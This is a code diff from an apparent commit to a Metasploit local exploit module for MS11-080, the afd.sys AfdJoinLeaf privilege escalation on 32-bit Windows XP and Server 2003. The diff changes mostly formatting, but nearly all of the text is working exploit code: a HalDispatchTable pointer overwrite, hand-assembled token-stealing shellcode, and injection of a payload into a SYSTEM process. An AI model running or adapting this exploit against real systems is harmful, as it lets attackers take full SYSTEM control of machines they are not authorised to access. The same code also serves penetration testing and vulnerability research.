@@ -22,23 +22,23 @@ class Metasploit3 < Msf::Exploit::Local
22
22
23
23
def initialize ( info = { } )
24
24
super ( update_info ( info , {
25
- 'Name' => 'AfdJoinLeaf Privilege Escalation' ,
25
+ 'Name' => 'MS11-080 AfdJoinLeaf Privilege Escalation' ,
26
26
'Description' => %q{
27
27
This module exploits a flaw in the AfdJoinLeaf function of the
28
28
afd.sys driver to overwrite data in kernel space. An address
29
29
within the HalDispatchTable is overwritten and when triggered
30
30
with a call to NtQueryIntervalProfile will execute shellcode.
31
-
31
+
32
32
This module will elevate itself to SYSTEM, then inject the payload
33
33
into another SYSTEM process before restoring it's own token to
34
34
avoid causing system instability.
35
35
} ,
36
36
'License' => MSF_LICENSE ,
37
- 'Author' => [
38
- 'Matteo Memelli' , # original exploit and all the hard work
39
- 'Spencer McIntyre' # MSF module
40
- ] ,
41
- 'Version' => '$Revision$' ,
37
+ 'Author' =>
38
+ [
39
+ 'Matteo Memelli' , # original exploit and all the hard work
40
+ 'Spencer McIntyre' # MSF module
41
+ ] ,
42
42
'Arch' => [ ARCH_X86 ] ,
43
43
'Platform' => [ 'windows' ] ,
44
44
'SessionTypes' => [ 'meterpreter' ] ,
@@ -50,9 +50,9 @@ def initialize(info={})
50
50
[
51
51
[ 'Automatic' , { } ] ,
52
52
53
- [ 'Windows XP SP2 / SP3' ,
54
- {
55
- 'HaliQuerySystemInfo' => 0x16bba ,
53
+ [ 'Windows XP SP2 / SP3' ,
54
+ {
55
+ 'HaliQuerySystemInfo' => 0x16bba ,
56
56
'HalpSetSystemInformation' => 0x19436 ,
57
57
'_KPROCESS' => "\x44 " ,
58
58
'_TOKEN' => "\xc8 " ,
@@ -87,7 +87,7 @@ def initialize(info={})
87
87
] )
88
88
89
89
end
90
-
90
+
91
91
def find_sys_base ( drvname )
92
92
session . railgun . add_dll ( 'psapi' ) if not session . railgun . dlls . keys . include? ( 'psapi' )
93
93
session . railgun . add_function ( 'psapi' , 'EnumDeviceDrivers' , 'BOOL' , [ [ "PBLOB" , "lpImageBase" , "out" ] , [ "DWORD" , "cb" , "in" ] , [ "PDWORD" , "lpcbNeeded" , "out" ] ] )
@@ -107,7 +107,7 @@ def find_sys_base(drvname)
107
107
end
108
108
end
109
109
end
110
-
110
+
111
111
# Function borrowed from smart_hashdump
112
112
def get_system_proc
113
113
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
@@ -134,7 +134,7 @@ def exploit
134
134
print_error ( "Running against 64-bit systems is not supported" )
135
135
return
136
136
end
137
-
137
+
138
138
mytarget = target
139
139
if mytarget . name =~ /Automatic/
140
140
os = sysinfo [ "OS" ]
@@ -147,71 +147,83 @@ def exploit
147
147
if ( ( os =~ /\. net server/i ) and ( os =~ /service pack 2/i ) )
148
148
mytarget = targets [ 2 ]
149
149
end
150
-
150
+
151
151
if mytarget . name =~ /Automatic/
152
152
print_error ( "Could not identify the target system, it may not be supported" )
153
153
return
154
154
end
155
155
print_status ( "Running against #{ mytarget . name } " )
156
156
end
157
-
157
+
158
158
if is_system?
159
159
print_error ( "This meterpreter session is already running as SYSTEM" )
160
160
return
161
161
end
162
-
162
+
163
163
this_proc = session . sys . process . open
164
164
kernel_info = find_sys_base ( nil )
165
165
base_addr = 0x1001
166
166
print_status ( "Kernel Base Address: 0x#{ kernel_info [ 0 ] . to_s ( 16 ) } " )
167
-
167
+
168
168
result = session . railgun . ws2_32 . WSASocketA ( "AF_INET" , "SOCK_STREAM" , "IPPROTO_TCP" , nil , nil , 0 )
169
169
socket = result [ 'return' ]
170
-
170
+
171
171
irpstuff = rand_text_alpha ( 8 )
172
172
irpstuff << "\x00 \x00 \x00 \x00 "
173
173
irpstuff << rand_text_alpha ( 4 )
174
174
irpstuff << "\x01 \x00 \x00 \x00 "
175
175
irpstuff << "\xe8 \x00 " + "4" + "\xf0 \x00 "
176
176
irpstuff << rand_text_alpha ( 231 )
177
-
177
+
178
178
if not this_proc . memory . writable? ( 0x1000 )
179
- session . railgun . add_function ( 'ntdll' , 'NtAllocateVirtualMemory' , 'DWORD' , [ [ "DWORD" , "ProcessHandle" , "in" ] , [ "PBLOB" , "BaseAddress" , "inout" ] , [ "PDWORD" , "ZeroBits" , "in" ] , [ "PBLOB" , "RegionSize" , "inout" ] , [ "DWORD" , "AllocationType" , "in" ] , [ "DWORD" , "Protect" , "in" ] ] )
179
+ session . railgun . add_function (
180
+ 'ntdll' ,
181
+ 'NtAllocateVirtualMemory' ,
182
+ 'DWORD' ,
183
+ [
184
+ [ "DWORD" , "ProcessHandle" , "in" ] ,
185
+ [ "PBLOB" , "BaseAddress" , "inout" ] ,
186
+ [ "PDWORD" , "ZeroBits" , "in" ] ,
187
+ [ "PBLOB" , "RegionSize" , "inout" ] ,
188
+ [ "DWORD" , "AllocationType" , "in" ] ,
189
+ [ "DWORD" , "Protect" , "in" ]
190
+ ] )
191
+
180
192
result = session . railgun . ntdll . NtAllocateVirtualMemory ( -1 , [ base_addr ] . pack ( "L" ) , nil , [ 0x1000 ] . pack ( "L" ) , "MEM_COMMIT | MEM_RESERVE" , "PAGE_EXECUTE_READWRITE" )
181
193
end
182
194
if not this_proc . memory . writable? ( 0x1000 )
183
195
print_error ( 'Failed to properly allocate memory' )
184
196
return
185
197
end
186
198
this_proc . memory . write ( 0x1000 , irpstuff )
187
-
199
+
188
200
hKernel = session . railgun . kernel32 . LoadLibraryExA ( kernel_info [ 1 ] , 0 , 1 )
189
201
hKernel = hKernel [ 'return' ]
190
202
halDispatchTable = session . railgun . kernel32 . GetProcAddress ( hKernel , "HalDispatchTable" )
191
203
halDispatchTable = halDispatchTable [ 'return' ]
192
204
halDispatchTable -= hKernel
193
205
halDispatchTable += kernel_info [ 0 ]
194
206
print_status ( "HalDisPatchTable Address: 0x#{ halDispatchTable . to_s ( 16 ) } " )
195
-
207
+
196
208
halbase = find_sys_base ( "hal.dll" ) [ 0 ]
197
209
haliQuerySystemInformation = halbase + mytarget [ 'HaliQuerySystemInfo' ]
198
210
halpSetSystemInformation = halbase + mytarget [ 'HalpSetSystemInformation' ]
199
211
print_status ( "HaliQuerySystemInformation Address: 0x#{ haliQuerySystemInformation . to_s ( 16 ) } " )
200
212
print_status ( "HalpSetSystemInformation Address: 0x#{ halpSetSystemInformation . to_s ( 16 ) } " )
201
-
213
+
202
214
#### Exploitation ####
203
215
shellcode_address_dep = 0x0002071e
204
216
shellcode_address_nodep = 0x000207b8
205
217
padding = make_nops ( 2 )
206
218
halDispatchTable0x4 = halDispatchTable + 0x4
207
219
halDispatchTable0x8 = halDispatchTable + 0x8
208
-
220
+
209
221
restore_ptrs = "\x31 \xc0 "
210
222
restore_ptrs << "\xb8 " + [ halpSetSystemInformation ] . pack ( "L" )
211
223
restore_ptrs << "\xa3 " + [ halDispatchTable0x8 ] . pack ( "L" )
212
224
restore_ptrs << "\xb8 " + [ haliQuerySystemInformation ] . pack ( "L" )
213
225
restore_ptrs << "\xa3 " + [ halDispatchTable0x4 ] . pack ( "L" )
214
-
226
+
215
227
tokenstealing = "\x52 "
216
228
tokenstealing << "\x53 "
217
229
tokenstealing << "\x33 \xc0 "
@@ -230,7 +242,7 @@ def exploit
230
242
tokenstealing << "\x5b "
231
243
tokenstealing << "\x5a "
232
244
tokenstealing << "\xc2 \x10 "
233
-
245
+
234
246
restore_token = "\x52 "
235
247
restore_token << "\x33 \xc0 "
236
248
restore_token << "\x64 \x8b \x80 \x24 \x01 \x00 \x00 "
@@ -239,46 +251,68 @@ def exploit
239
251
restore_token << "\x89 \x90 " + mytarget [ '_TOKEN' ] + "\x00 \x00 \x00 "
240
252
restore_token << "\x5a "
241
253
restore_token << "\xc2 \x10 "
242
-
254
+
243
255
shellcode = padding + restore_ptrs + tokenstealing
244
-
256
+
245
257
this_proc . memory . write ( shellcode_address_dep , shellcode )
246
258
this_proc . memory . write ( shellcode_address_nodep , shellcode )
247
259
this_proc . memory . protect ( 0x00020000 )
248
-
260
+
249
261
addr = [ 2 , 4455 , 0x7f000001 , 0 , 0 ] . pack ( "s!S!L!L!L!" )
250
262
result = session . railgun . ws2_32 . connect ( socket , addr , addr . length )
251
263
if result [ 'return' ] != 0xffffffff
252
264
print_error ( "The socket is not in the correct state" )
253
265
return
254
266
end
255
-
256
- session . railgun . add_function ( 'ntdll' , 'NtDeviceIoControlFile' , 'DWORD' , [ [ "DWORD" , "FileHandle" , "in" ] , [ "DWORD" , "Event" , "in" ] , [ "DWORD" , "ApcRoutine" , "in" ] , [ "DWORD" , "ApcContext" , "in" ] , [ "PDWORD" , "IoStatusBlock" , "out" ] , [ "DWORD" , "IoControlCode" , "in" ] , [ "LPVOID" , "InputBuffer" , "in" ] , [ "DWORD" , "InputBufferLength" , "in" ] , [ "LPVOID" , "OutputBuffer" , "in" ] , [ "DWORD" , "OutPutBufferLength" , "in" ] ] )
257
- session . railgun . add_function ( 'ntdll' , 'NtQueryIntervalProfile' , 'DWORD' , [ [ "DWORD" , "ProfileSource" , "in" ] , [ "PDWORD" , "Interval" , "out" ] ] )
258
-
267
+
268
+ session . railgun . add_function (
269
+ 'ntdll' ,
270
+ 'NtDeviceIoControlFile' ,
271
+ 'DWORD' ,
272
+ [
273
+ [ "DWORD" , "FileHandle" , "in" ] ,
274
+ [ "DWORD" , "Event" , "in" ] ,
275
+ [ "DWORD" , "ApcRoutine" , "in" ] ,
276
+ [ "DWORD" , "ApcContext" , "in" ] ,
277
+ [ "PDWORD" , "IoStatusBlock" , "out" ] ,
278
+ [ "DWORD" , "IoControlCode" , "in" ] ,
279
+ [ "LPVOID" , "InputBuffer" , "in" ] ,
280
+ [ "DWORD" , "InputBufferLength" , "in" ] ,
281
+ [ "LPVOID" , "OutputBuffer" , "in" ] ,
282
+ [ "DWORD" , "OutPutBufferLength" , "in" ]
283
+ ] )
284
+
285
+ session . railgun . add_function (
286
+ 'ntdll' ,
287
+ 'NtQueryIntervalProfile' ,
288
+ 'DWORD' ,
289
+ [
290
+ [ "DWORD" , "ProfileSource" , "in" ] , [ "PDWORD" , "Interval" , "out" ]
291
+ ] )
292
+
259
293
print_status ( "Triggering AFDJoinLeaf pointer overwrite..." )
260
294
result = session . railgun . ntdll . NtDeviceIoControlFile ( socket , 0 , 0 , 0 , 4 , 0x000120bb , 0x1004 , 0x108 , halDispatchTable0x4 + 0x1 , 0 )
261
295
result = session . railgun . ntdll . NtQueryIntervalProfile ( 1337 , 4 )
262
-
296
+
263
297
if not is_system?
264
298
print_error ( "Exploit failed" )
265
299
return
266
300
end
267
-
301
+
268
302
begin
269
303
proc = get_system_proc
270
304
print_status ( "Injecting the payload into SYSTEM process: #{ proc [ "name" ] } PID: #{ proc [ "pid" ] } " )
271
305
host_process = client . sys . process . open ( proc [ "pid" ] , PROCESS_ALL_ACCESS )
272
306
mem = host_process . memory . allocate ( payload . encoded . length + ( payload . encoded . length % 1024 ) )
273
-
307
+
274
308
print_status ( "Writing #{ payload . encoded . length } bytes at address #{ "0x%.8x" % mem } " )
275
309
host_process . memory . write ( mem , payload . encoded )
276
310
host_process . thread . create ( mem , 0 )
277
311
rescue ::Exception => e
278
312
print_error ( "Failed to Inject Payload" )
279
313
print_error ( e . to_s )
280
314
end
281
-
315
+
282
316
# Restore the token because apparently BSODs are frowned upon
283
317
print_status ( "Restoring the original token..." )
284
318
shellcode = padding + restore_ptrs + restore_token
0 commit comments